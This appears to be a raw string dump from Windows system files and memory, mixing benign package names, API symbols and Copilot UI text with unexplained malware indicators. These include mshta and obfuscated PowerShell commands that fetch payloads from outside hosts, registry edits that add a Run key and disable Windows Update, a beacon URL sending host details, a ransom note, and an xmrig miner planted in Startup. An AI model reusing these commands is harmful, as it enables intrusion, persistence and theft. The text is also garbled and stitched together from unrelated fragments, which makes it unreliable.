Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Kernel-Package-OS-Kernel-HAL-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3323.cat|!
Microsoft-Windows-PhotoBasic-Feature-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.3912.cat|!
Microsoft-Windows-Kernel-Package-OS-Kernel-HAL-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3323.cat|!
Microsoft-Windows-Management-SecureAssessment-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Management-SecureAssessment-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Network-Security-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3915.cat|Microsoft-Windows-Network-Security-Core-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3915.cat|!
Microsoft-Windows-PhotoBasic-Feature-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.3912.cat|!
Microsoft.Windows.Desktop.AIAssistance
Microsoft.Windows.Desktop.InputSwitchingManager
Microsoft.Windows.CloudPC
Microsoft.Windows.CloudPC
Microsoft.Windows.Shell.RdpShellExtensionHost
Microsoft-Windows-Shell-CriticalResultVerifier
Microsoft.Windows.Desktop.Shell.ImmersiveIcons
Microsoft.Windows.Shell.DelayAllocateTLS
Microsoft.Windows.Shell.Taskbar.ProgrammableTaskbar
Microsoft.Windows.Shell.XamlSwitcher
Microsoft-Windows-Shell-AppResolver
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Shell.DelayAllocateTLS
source\repos\windows upda
_windows6
%c:\windows\system32\mshta.exehttp://80.82.66.58/osmz/out-1421646881.hta$
GetProcessWindowStation
c:\windows\system32\
c:\windows\system32\
.P6A_NAEBV?$shared_ptr@VExtensionInfo@implementation@AppExtensions@ApplicationModel@WindowsUdk@winrt@@@std@@@Z
.?AV?$_Binder@U_Unforced@std@@P8UserActivityManager@implementation@UserActivities@ApplicationModel@WindowsUdk@winrt@@EAAX_KV?$basic_string@_WU?$char_traits@_W@s
c:\windows\system32\
\system32\mrt.exe
^.:\windows\
-executionpolicy allsigned .+windows defender advanced threat protection\datacollection
Windows
TEMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
LOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC
TMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
c:\windows\system\msdumprep.exe %1o
WINDOWS DEFENDER
9e^windows.fileOpenPicke
1^MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.AppListBackup
(Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe!App
windows.hlp
Behavior:Win32/WinlogonSuspLoader.A
ostal-codecimal-paddingBlockEndInheritemIndexitAppBarClosedDisplayModeepskyblueAtildeg$_setUpdatePropsForbiddenied__disconnectAnimatedViewindowsCoreTelemetryGroupIdisTileMatchForPartialAumiddottedShufflex-end tag name: Betagid__fbGenNativeModulestreamChunknown-eventtypendingLanes_highestMeasuredFrame
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe%5Cresources.pri
Microsoft.WindowsStore_8wekyb3d8bbwe!StoreCLI
Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe
OMPUTERNAME=WINDOWS11
	\system32\cmd.exe
GetWindowsDirectoryW
WindowsCreateString
WindowsIsStringEmpty
SetWindowsHookExW
UnhookWindowsHookEx
WindowsSubstringWithSpecifiedLength
WindowsDuplicateString
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps;
WindowsDeleteString
WindowsCreateString
WindowsGetStringRawBuffer
GetSystemWindowsDirectoryW
WindowsCreateStringReference
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsDuplicateString
Microsoft-Windows-Host-Guardian-Deployment-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
c:\/search?hl=en&q\system32\svchost(
<connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.26200.7840</osVer><proc>x64</proc><lcid>fr-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>00180017408067C8</deviceName><followRetry>true</followRetry></agent></connect>
<connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.26200.7840</osVer><proc>x64</proc><lcid>fr-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>00180017408067C8</deviceName><followRetry>true</followRetry></agent></connect>
client.wns.windows.com
client.wns.windows.com
client.wns.windows.com
<channel-response><id>1;16989289272558142615</id><exp>2026-03-22T16:00:19Z</exp><url>https://wns2-ln2p.notify.windows.com/?token=AwYAAAB3veKb8UDgHiCP34MwdOmE0Ng73A1OkE1zlabEKQgAqEBGPN%2bvf0Gj1yMLhCzI%2fmI6Ur1Nj9wDmzfaV3cdtZWSKCOMiaA0bldPQhDVD%2bx3S5WORur6QSOwu%2f40YjZWQ3I%3d</url></channel-response>
<channel-response><id>1;16989289272558142615</id><exp>2026-03-22T16:00:19Z</exp><url>https://wns2-ln2p.notify.windows.com/?token=AwYAAAB3veKb8UDgHiCP34MwdOmE0Ng73A1OkE1zlabEKQgAqEBGPN%2bvf0Gj1yMLhCzI%2fmI6Ur1Nj9wDmzfaV3cdtZWSKCOMiaA0bldPQhDVD%2bx3S5WORur6QSOwu%2f40YjZWQ3I%3d</url></ch
<channel-response><id>1;12418343350202156029</id><exp>2026-03-22T15:59:54Z</exp><url>https://wns2-ln2p.notify.windows.com/?token=AwYAAADgNtXJcOJlQymmPYjxerMKPxNuCz2vnci87%2fwwYo91T%2bntEWYooxyW2fjoMgJl2XiC%2bwnnIdtOtDGICTRpsOnwnNzxaFpAsZrzGJ5F81hNauNFC7vpqXbdbCljeIAQYlY%3d</url></ch
<channel><appkey>microsoft.windows.windowsinsiderservice_cw5n1h2txyewy</appkey><properties>0</properties></channel>
<channel><appkey>microsoft.windows.windowsinsiderservice_cw5n1h2txyewy</appkey><properties>0</properties></channel>
<channel-response><id>1;12418343350202156029</id><exp>2026-03-22T15:59:54Z</exp><url>https://wns2-ln2p.notify.windows.com/?token=AwYAAADgNtXJcOJlQymmPYjxerMKPxNuCz2vnci87%2fwwYo91T%2bntEWYooxyW2fjoMgJl2XiC%2bwnnIdtOtDGICTRpsOnwnNzxaFpAsZrzGJ5F81hNauNFC7vpqXbdbCljeIAQYlY%3d<
<connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.26200.7840</osVer><proc>x64</proc><lcid>fr-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>00180017408067C8</deviceName><followRetry>true</followRetry></agent></connect>
<connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.26200.7840</osVer><proc>x64</proc><lcid>fr-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>00180017408067C8</deviceName><followRetry>true</followRetry></agent></connect>
client.wns.windows.com
client.wns.windows.com
client.wns.windows.com
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
UX.KFMWindowsBackupWizardUILaunch
KFMSilentFlowLauncher::GetWindowsOOBEKeyValue
KFMSilentFlowLauncher::OnWindowsBackupWizardRequest
Windows::System::Inventory::CInstalledDesktopAppStatics::GetInventory
Windows::System::Inventory::CInstalledDesktopAppStatics::RpcCall
Windows::System::Inventory::CInstalledDesktopAppStatics::GetInventoryFromRpc
Windows::System::Inventory::CInstalledDesktopAppStatics::GetInventoryFromArp
Microsoft-Windows-Client-Features-WOW64-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.MediaFoundation.H265Decoder
Microsoft.Windows.MissionControlAggregator
Microsoft.Windows.Shell.DefaultAssoc
Microsoft.Windows.MediaFoundation.HEIFReader
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
windows.hlp`
qWindows
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.11
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.13
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.12
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.13
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.14
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.15
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.16
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.17
Microsoft-Windows-Client-EmbeddedExp-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037
8Microsoft Windows Hardware Compatibility Intermediate CA1
(Microsoft Windows Hardware Compatibility0
COMPUTERNAME=WINDOWS11
SystemRoot=C:\WINDOWS
OS=Windows_NT
LOGONSERVER=\\WINDOWS11
windir=C:\WINDOWS
9NCT87FKQ4GMPsychonauts (Windows 10)https://store-images.s-microsoft.com/image/apps.28716.13561496157760288.f7bf4326-45d3-4a39-8977-2f5f5ce39a58.c5066da9-cb57-4091-9818-6f9811c23cf7de
.?AU?$default_delete@VShareWindowCommandSourceProxyOwner@Bamo@ShareWindow@Shell@Internal@Windows@@@std@@
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|!
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|6ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|ktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|
twindows
ext-ms-win-ntuser-windowstation-l1-1-0.dll
Software\Microsoft\Windows\prdisponerede\Uninstall\rebolera\ImprovisereS
Windows::Compat::Inventory::AepicInvCache::OpenItem
Windows::Compat::Inventory::AepicInvCache::CreateItem
Windows::Compat::Inventory::AepicInvCache::BatchBegin
Windows::Compat::Inventory::AepicInvCache::GetNextItem
Windows::Compat::Inventory::AepicInvCache::NextBatchMarkedItem
GetSystemWindowsDirectory [%d]
Windows::Compat::Inventory::SqliteInvCache::OpenDb
Windows::Compat::Inventory::SqliteInvCache::Initialize
Windows::Compat::Inventory::SqliteInvCache::CreateItem
Windows::Compat::Inventory::SqliteInvCache::RemoveItem
Windows::Compat::Inventory::SqliteInvCache::GetItemCount
Windows::Compat::Inventory::SqliteInvCache::GetFirstItem
Windows::Compat::Inventory::SqliteInvCache::CreateWriteStatement
Windows::Compat::Inventory::SqliteInvCacheItem::SqliteInvCacheItem
Windows::Compat::Inventory::SqliteInvCac
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Windows::Foundation::Initialize failed [%#x]
//a.zz7.in/count.asp//tx.xx7.in/a7lm.txtmac=%s&ver=%s&os=%s&tm=%s&id=%s&hd=%s&smss.exe|csrss.exe|winlogon.exe|services.exe|svchost.exe
C:\WINDOWS\SYSTEM32\Drivers\
C:\WINDOWS\SYSTEM32\Drivers\
+Microsoft.Windows.CapturePicker_cw5n1h2txyewy-In-Block
Windows.CBSPreviewQ
Windows.CloudExperience
Microsoft.Windows.Widgets.Notifications
Microsoft.Windows.Widgets.Providers
Windows.Foundation.FoundationContract
Windows.Foundation
Windows.Foundation.UniversalApiContract
Windows.Storage.Streams
Windows.Foundation.Collections
windowsRuntimeBuffer
WindowsGe
,UMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy
Windows Atapi x86_64 Driverh
WindowsFeedbackProtocol
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
.?AVwindows_category_impl@details@utility@@
Windows.Data.LocalRemovedKeyboards
Windows.Data.QuickActions.QuickAction
Windows.Data.QuickActions.QuickActionGroup
Windows.Data.DockingDisplaySettings
Windows.Data.QuickActions.QuickActionLayout
Windows.Data.ExternalDisplayModeSettings
Windows.Data.QuickActions.ControlCenterSettings
Windows.Data.Settings.SettingsRanking
Windows.Data.Settings.SettingsUsageHistory
Windows.Data.Settings.SettingPageUsage
Windows.Data.Settings.RankedSettingEntry
Windows.Data.SharePicker.MRUList
Windows.Data.Settings.Voice.VoiceSystemSettings
Windows.Data.SharePicker.CopyLinkMRUItem
minimizeWindowsOnMonitorDisconnect
Windows.Data.SharePicker.BaseMRUItem
Windows.Data.SharePicker.AppMRUItem
Windows.Data.DoNotDisturb.QuietMoment
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
ll\open\command=gho.exehklm\software\microsoft\windows\currentversion\run /v crsss /t reg_sz /dhkey_current_user\software\microsoft\windows\currentversion\policies\windowsupdate /v disablewindowsupdateaccess /t reg_dword /d 00000001 /fhklm\software\microsoft\windows\currentversion\explorer\advanced\folder\hidden\showall /v checkedvalue /t reg_dword /d 00000000 /f
swindowsupdate1h
windowsmessenger1p
wnetgetconnectionaimgitauclickconfiguraodebloqueadordepopupswindowsmessenger14emailenotcias1@
5.0 (compatible; MSIE 6.0; Windows NT 5.1)
Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1)
*.cache|%WINDIR%\system32\svchost.exe
Windows.Shell.6
Microsoft.Windows.Dashboard
MICROSOFT-WINDOWS-APPXPACKAGING/PERFORMANCE
WINDOWS.UI.VIEWMANAGEMENT.APPLICATIONVIEW
MICROSOFT-WINDOWS-READYBOOST/OPERATIONAL
YMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari3
\windows\temp\
 \windows\temp\
\windows\temp\
IsWindowsInsider
WindowsBaseH
\windows\temp
rundll32.exe user.exe,exitwindows
!#FOrundll32.exec:\windows\system32\
$defenderstatus=(get-windowsfeature-namewindows-defender).installed
c:\windows\system32\mshta.exehttps://novadzcap.com/velena1.aspx?puy
:Sr%\windows\system32\cmd.exe-/cstartrundll32.exenu3a4al.dll,plugininit
\windows\system32\mshta.exehttps://transacor.ma/file.htashell32.dll
jksu[./dsrundll32.exeo-nc:\windows\system32\rundll32.exe\
.?AV?$_Ref_count_obj@VWindowsTipSubscriptionActivationHelper@ActivationHelpers@TargetedContent@CreativeFramework@@@std@@
.?AVWindowsTipSubscriptionActivationHelper@ActivationHelpers@TargetedContent@CreativeFramework@@
gc:\windows\system32
jUblfo<do<do<dvepo:i+00/c:\v1t,cwindows@h0t,c.iwindowsz1ue_system32bh0ue_.w
c:\windows\
^..\windows\system32\cmd.exe/cgropes\aries.cmdvr32.exec:\windows\explorer.exe%systemroot%
lfb`]]]additionalinformation1e/cnewinvoice\newinvoice.cmdabcdefghijklmnopqrstuvwxyz0123456789c:\windows\system32\shell32.dllc:
W%lf@po:i+00/c:\h1anticipationsl.anticipations2supposespejoratively.js`.supposespejoratively.js&1..\..\..\..\anticipations\supposespejoratively.jsc:\windows\explorer.exe%systemroot%\explorer.exe%systemroot%\explorer.exe
\forfiles.exe/pc:\windows\system32/mnotepad.exe/c"cmd/cpow^ers^hell/w01c^u^rlhtt^p:
0http://7d.wf:8080/a/zymepszia/rgc81hevhulns/olbut9g/vvfax/%computername%"/q^u^i^e^t"%systemroot%\system32\imageres.dll
lf)po:i+00/c:\r1windows<*windowsv1system32>*system32r2cmd.exe<*cmd.exe*/cstarthooterz.js&startautorun.inf&exit"%systemroot%\system32\imageres.dll%wn]nd.q1spsxfl8c&mq/s-1-5-21-1927291113-3505415703-2527399834-1000
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
windowscodecs.dll
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Applications\Windows7
c:\windows\system32
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
C:\WINDOWS\SYSTEM32\COMADDIN.DLL>!
C:\WINDOWS\SYSTEM32\DSPRPRES.DLL>!
BEN.DLL>C:\WINDOWS\SYSTEM32\UNKNOWNDLL#
onecoreuap\windows\cdp\afc\database\Statement.h
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.MicrosoftAccount.TBProvider
%Microsoft Windows Production PCA 20110
Microsoft Windows0
Microsoft.Windows.Print.VirtualMon
Wana Girlfirend DecryptOr 2.0Ooops,your girlfriend hava been NTR!How to buy a girlfriendsoftware\microsoft\windows\CurrentVersion\Run\Syste2.exeGirlfriend.txtb
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
system32\cmdy
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
windir=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
SystemRoot=C:\WINDOWS
TMP=C:\WINDOWS\TEMP
USERNAME=WINDOWS11$
\system32\cmd%.exe
Microsoft.Windows.Cortana_cw5n1h2txyewy!
Microsoft-Windows-CoreSystem-WinTrust-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
!!(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.qfUtils.isDocumentZeroQueryEnabled())}function vr(){return!(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.isTenantMsbEnabled())||!!n.config.msbEnablePeopleZQ}function b(t,r){if(n.shouldUseMsbEnterpriseScopes()){if(!n.contains(n.config.enabledScopesMsbEnterprise,i[t]))return!1}else if(!n.contains(n.config.enabledScopes,i[t]))return!1;if(n.config.noMailPeopleScopeInMsa&&(t==i.Emails||t==i.People)){let t=n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType();if(t!==3&&t!==0)return t===1}if(t==i.Web&&n.isWebResultsDisabled()||t==i.Chat&&(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.isEduTenant()))return!1;if(t==i.Chat&&n.isBingEnabled())return!0;if(t===i.Work)return!!(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isWorkScopeApplicable());if(t==i.ThirdPartyWeb&&n.isThirdPartySearchAllowed()||r.showUpsellOnSuggestionsList&&r.showUpsellOnSuggestionsList())return!0;if(t==i.ThirdPartyWeb)return n.isThirdPartySearchAllowed();let u=n.config.enabledDataSources.filter(n=>n!="MRU");n.isBingEnabled()&&t!=i.Web&&(u=u.filter(n=>n!="Web"));for(let n of r.enabledDataSources)dt(n,null)||(u=u.filter(t=>t!=n.dataSource));return r.enabledDataSources.some(t=>n.contains(u,t.dataSource))?!0:!1}function pt(t){switch(n.RuntimeConfig.QfMode){case 5:return n.ScopeConfig[i.All_FileExplorer];case 7:return n.ScopeConfig[i.All_SettingsApp];case 9:return n.ScopeConfig[i.All_ControlPanel];case 12:return n.ScopeConfig[i.All_Composer];default:return n.ScopeConfig[k(t)]}}function pr(t,r,u,f,e){e||(e={});const{topHitRestriction:c,forceGroupOnTop:l,fromSearchHome:a,fromSuggestionType:v,inorganic:y,serpURLParams:p}=e;let o=n.baseParseQuery(t,r,c);o.fullPartialQuery=o.queryToFetch;o.scope=i.All;const h=n.Host===null||n.Host===void 0?void 0:n.Host.getMru3pAppCache();if(h){let t=o.originalQuery;n.config.skippingRemoveDiacriticsIndexerRelated||(t=HitHighlightingParser.removeDiacritics(o.originalQuery));let r=t.match(bt)||n.config.forwardSlashScopes&&t.match(kt);if(r){let[,,n]=r;n==(h===null||h===void 0?void 0:h.displayName)&&(o.scope=i.ThirdPartyWeb,o.thirdPartySearch=h)}}o.forceGroupOnTop=l;o.fromSuggestionType=v;o.fromSearchHome=a;o.inorganic=y;o.serpURLParams=p;let s;if(kr(o,f))o.taskFrame=f,o.isFormulatedQuery=!0,s=n.ScopeConfig[k(o)];else{if(o.fullPartialQuery&&(wr(o),u&&o.scope!=u.scope&&(o.isFormulatedQuery=!0)),o.isSearchHomeZI=!o.queryToFetch&&o.scope!=i.ThirdPartyWeb&&(n.RuntimeConfig.SearchHomeAvailable==1||n.RuntimeConfig.SearchHomeAvailable==2&&o.scope!=i.All),o.isWorkScopeZI=!o.queryToFetch&&o.scope===i.Work,o.isWebScopeZI=!o.queryToFetch&&o.scope===i.Web,o.isThirdPartyZI=n.isThirdPartySearchAllowed()&&!o.queryToFetch&&o.scope==i.ThirdPartyWeb&&!!o.thirdPartySearch,o.scope==i.All||o.scope==i.Web){let t=n.tryParseUrl(o.queryToFetch,!0);t&&t.type==0?(o.isProtocol=!0,o.fixedUrl=n.cleanAndFixUrlProtocol(t)):yr.test(o.queryToFetch)&&(o.isProtocol=!0,o.fixedUrl=n.cleanAndFixUrlProtocol(o.queryToFetch))}s=pt(o);let r=o.queryToFetch?s.enabledDataSources:s.enabledDataSourcesForZeroInput;o.availableDataSources={};for(let t of r)n.contains(n.config.enabledDataSources,t.dataSource)&&(o.availableDataSources[t.dataSource]=t);o.enabledDataSources={};for(let n in o.availableDataSources){let t=o.availableDataSources[n];t.suggestionGroupToggler&&t.suggestionGroupToggler.isHidden()||(o.enabledDataSources[n]=t)}let t=o.queryToFetch?s.staticGroupOrder:s.staticGroupOrderForZeroInput;t&&(o.staticGroupOrder=t(o))}return br(o,s),o.showProgressBar=n.config.enableProgressBarForAllScope?n.config.dataSourcesWithProgressBar.some(n=>!!o.enabledDataSources[n]):n.isL2(o)&&n.config.dataSourcesWithProgressBar.some(n=>!!o.enabledDataSources[n]),o.equals=n=>{var t,r;return(o.queryToFetch?o.queryToFetch.toLowerCase():o.queryToFetch)==(n.queryToFetch?n.queryToFetch.toLowerCase():n.queryToFetch)&&n.scope==o.scope&&(n.scope!=i.ThirdPartyWeb||n.scope==i.ThirdPartyWeb&&((t=n.thirdPartySearch)===null||t===void 0?void 0:t.applicationUserModelId)===((r=
:\Windows\system32\cscript.exe
HKLM\SOFTWARE\Microsoft\Windows Defender\Features
(\windows\system32\)([%w%p%c]+)
W?$function@$$A6A?AUIndexPath@Controls@Xaml@UI@Windows@winrt@@AEBV?$vector@USelectedItemInfo@@V?$alloca 
onecoreuap\windows\frameworkudk\appmodelapi.cpp
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
windowsiJ
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.3
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.4
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.5
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.6
GetDockWindowSize
VS2012WindowSplitterControl
VS2013WindowSplitterControl
get_ToolWindowStripGapBottom
Windows.Data.Calling.Settings
?EventSourceRemove@Details@Platform@@YAXPEAPEAXPEAUEventLock@12@VEventRegistrationToken@Foundation@Windows@@@Z
?EventSourceAdd@Details@Platform@@YA?AVEventRegistrationToken@Foundation@Windows@@PEAPEAXPEAUEventLock@12@PE$AAVDelegate@2@@Z
	pc:\windows\system32\cmd.exe/cstartc:\googlechrome\googlechrome.exec:\googlechrome\googlechrome.a3x&exit
Windows 10Windows 11
RR1xU.CreateShortcut("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\xmrig.lnk")Get-ChildItem -Path '\xmrig-*\xmrig.exe' | Move-Item -Destination '\svchost.exeUSERPROFILE\
.CreateShortcut("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\
.CreateShortcut([System.IO.Path]::Combine($env:APPDATA, 'Microsoft\Windows\Start Menu\Programs\Startup\
